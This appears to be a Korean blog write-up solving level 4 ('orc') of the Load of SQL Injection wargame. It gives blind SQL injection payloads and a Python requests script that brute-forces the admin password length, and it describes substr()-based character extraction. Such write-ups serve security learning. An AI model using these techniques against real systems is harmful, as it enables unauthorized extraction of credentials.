본문 바로가기

보안/Wargame

[Load of SQL Injection] 4번 orc

728x90

Q4. orc

 

■  문제

코드를 봤을때 쿼리 두개가 있고 admin 계정의 password 를 알면 풀리는 문제 같다

 

■  해결 과정

 

 > 쿼리문을 우회하는 것이 아닌 직접 admin의 password를 알아내야하므로 python requests 모듈을 사용한다

 

https://docs.python-requests.org/en/latest/user/quickstart/

 

Quickstart — Requests 2.31.0 documentation

Eager to get started? This page gives a good introduction in how to get started with Requests. Let’s get started with some simple examples. Passing Parameters In URLs You often want to send some sort of data in the URL’s query string. If you were const

docs.python-requests.org

 

- Python requests 모듈 사용하기

1. length() 함수를 사용하여 password의 길이를 구한다

2. substr() 함수를 사용하여 password를 이루고 있는 문자를 구한다

 


① Password 의 길이 구하기

 

> id가 존재하면 Hello admin이 출력됨을 확인

 

> ` ?pw= ' or id='admin' and length(pw)<5 %23 ` 입력시 결과

 

 

> ` ?pw= ' or id='admin' and length(pw)<10 %23 ` 입력시 10자리 이하 = True 값이 되어 Hello admin 출력

 

> 따옴표 때문에 admin 에 대한 중간 값이 무효화 되면서 or 뒤에 조건 판별을 수행하게 됨

이 쿼리 떄문에 비밀번호 범위가 맞게 입력되어 True 값이 나오면 hello admin을 확인하여 비밀번호 길이 유추가 가능해진다. 하지만 비밀번호의 길이가 길다면 길이를 특정하는데에 시간이 오래걸리므로 python requests 모듈을 사용하여 비밀번호를 구해보겠다

 

②  Python Requests Module 사용하기

 

 

 

import requests

# 쿠키 값 넣기
cookie = {'PHPSESSID': '[php 쿠키 값을 넣으세요]'}

# 비밀 번호 길이 얻기
for i in range(1, 30):
    address = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
    URL = address + "?pw= 'or id='admin' and length(pw)=" + str(i) + "%23"
    res = requests.get(URL, cookies=cookie)
    if "<h2>Hello admin</h2>" in res.text:
        print("length=" + str(i))
        break
    else:
        print(str(i) + "---- 비밀번호 자릿수와 일치하지 않습니다")

 

해당 코드는 설정한 범위( 1부터 30 까지 )의 pw length를 반복하여 입력하여 hello admin이 나오면 길이를 출력하는 코드이다. 

 

> 결과 값으로 pw length = 8 이라는 결과를 얻었다!

 

③ substr() 함수를 이용하여 password 구하기

 

✔️ substr() 함수란?

substr(string, start_index, length)

  • string : 추출의 대상이 되는 문자열
  • start_index : 추출을 시작하는 위치
  • length : 인덱스로부터 추출할 문자의 갯수 ( 만약 값이 없다면 문자열 끝까지 추출 )

ex ) substr('abcdef', 3, 1)

> 인덱스 3부터 1개의 문자를 추출하므로 결과값은 d 가 나온다

위와 같은 방식으로 substr()을 python module을 사용할것이다. 만약 반복한 첫번째 문자가 password 와 일치할 경우 hello admin이 출력되는 것을 확인하여 password를 구한다 

패스워드가 8글자 인것은 알아냈으니 1부터 8까지 자릿수에 아스키코드 상 47부터 123까지 대입해서 패스워드를 출력한다

  • 아스키 코드 상 번호 의미 
    • 48~57: 0~9
    • 65~90: A-Z
    • 97~122: a-z

> 코드의 결과로 비밀번호를 얻을 수 있었고 이 비밀번호를 php에 입력한다

 

■  해결 화면

 

'보안 > Wargame' 카테고리의 다른 글

[Load of SQL Injection] 6번 darkelf  (0) 2024.01.17
[Load of SQL Injection] 5번 wolfman  (0) 2024.01.15
[Load of SQL Injection] 3번 Goblin  (0) 2024.01.13
[Load of SQL Injection] 2번 Cobolt  (0) 2024.01.13
[Load of SQL Injection] 1번 Gremlin  (0) 2024.01.13